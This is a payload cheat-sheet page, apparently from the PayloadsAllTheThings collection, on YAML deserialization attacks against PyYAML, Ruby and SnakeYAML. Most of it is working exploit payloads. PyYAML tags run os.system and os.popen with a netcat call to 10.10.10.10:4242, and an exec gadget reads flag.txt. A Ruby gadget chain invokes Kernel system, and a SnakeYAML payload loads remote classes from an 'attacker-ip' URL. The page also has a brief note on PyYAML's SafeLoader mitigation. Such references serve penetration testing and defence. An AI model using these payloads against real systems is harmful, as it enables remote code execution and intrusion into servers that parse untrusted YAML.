PayloadsAllTheThings/Insecure Deserialization/YAML.md

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# YAML Deserialization
> YAML deserialization is the process of converting YAML-formatted data back into objects in programming languages like Python, Ruby, or Java. YAML (YAML Ain't Markup Language) is popular for configuration files and data serialization because it is human-readable and supports complex data structures.
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## Summary
* [Tools](#tools)
* [Methodology](#methodology)
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* [PyYAML](#pyyaml)
* [ruamel.yaml](#ruamelyaml)
* [Ruby](#ruby)
* [SnakeYAML](#snakeyaml)
* [References](#references)
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## Tools
* [j0lt-github/python-deserialization-attack-payload-generator](https://github.com/j0lt-github/python-deserialization-attack-payload-generator)
* [artsploit/yaml-payload](https://github.com/artsploit/yaml-payload) - A tiny project for generating SnakeYAML deserialization payloads
* [mbechler/marshalsec](https://github.com/mbechler/marshalsec) - Java Unmarshaller Security - Turning your data into code execution
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## Methodology
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### PyYAML
```yaml
!!python/object/apply:time.sleep [10]
!!python/object/apply:builtins.range [1, 10, 1]
!!python/object/apply:os.system ["nc 10.10.10.10 4242"]
!!python/object/apply:os.popen ["nc 10.10.10.10 4242"]
!!python/object/new:subprocess [["ls","-ail"]]
!!python/object/new:subprocess.check_output [["ls","-ail"]]
```
```yaml
!!python/object/apply:subprocess.Popen
- ls
```
```yaml
!!python/object/new:str
state: !!python/tuple
- 'print(getattr(open("flag\x2etxt"), "read")())'
- !!python/object/new:Warning
state:
update: !!python/name:exec
```
Since PyYaml version 6.0, the default loader for ```load``` has been switched to SafeLoader mitigating the risks against Remote Code Execution.
[PR fixing the vulnerabily](https://github.com/yaml/pyyaml/issues/420)
The vulnerable sinks are now ```yaml.unsafe_load``` and ```yaml.load(input, Loader=yaml.UnsafeLoader)```
```
with open('exploit_unsafeloader.yml') as file:
data = yaml.load(file,Loader=yaml.UnsafeLoader)
```
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## Ruamel.yaml
## Ruby
```ruby
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: sleep 600
method_id: :resolve
```
## SnakeYAML
```yaml
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://attacker-ip/"]
]]
]
```
## References
- [Python Yaml Deserialization - HackTricks - July 19, 2024](https://book.hacktricks.xyz/pentesting-web/deserialization/python-yaml-deserialization)
- [YAML Deserialization Attack in Python - Manmeet Singh & Ashish Kukret - November 13, 2021](https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf)
- [PyYAML Documentation - PyYAML - April 29, 2006](https://pyyaml.org/wiki/PyYAMLDocumentation)
- [Blind Remote Code Execution through YAML Deserialization - Colin McQueen - June 9, 2021](https://blog.stratumsecurity.com/2021/06/09/blind-remote-code-execution-through-yaml-deserialization/)
- [CVE-2019-20477 - 0Day YAML Deserialization Attack on PyYAML version <= 5.1.2 - Manmeet Singh (@_j0lt) - June 21, 2020](https://thej0lt.com/2020/06/21/cve-2019-20477-0day-yaml-deserialization-attack-on-pyyaml-version/)